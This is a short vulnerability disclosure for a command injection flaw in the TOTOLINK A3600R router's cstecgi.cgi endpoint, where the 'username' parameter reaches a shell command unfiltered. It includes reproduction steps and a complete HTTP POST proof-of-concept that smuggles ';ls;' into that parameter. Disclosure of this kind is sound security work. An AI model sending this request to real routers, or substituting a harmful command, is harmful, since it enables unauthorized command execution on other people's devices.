- Manufacturer's website information：https://www.totolink.net/
- Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=63&ids=36
TOTOLink A3600R V4.1.2cu.5182_B20201102 router, the latest version of simulation overview：
TOTOLINK A3600R was found to contain a command insertion vulnerability in cstecgi.This vulnerability allows an attacker to execute arbitrary commands through the "username" parameter.
We can see that the operating system will get "username" without filtering and inserting it into the strings "openvpn cert build_user" and "gz". Therefore, if we can control "username", it can be a command injection.
In order to reproduce the vulnerability, the following steps can be followed:
- Boot the firmware by qemu-system or other ways (real machine)
- Attack with the following POC attacks
POST /cgi-bin/cstecgi.cgi?exportOvpn=&type=user&username=;ls;&filetype=gz HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/login.html
Content-Length: 0
Origin: http://192.168.0.1
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache
The above figure shows the POC attack effect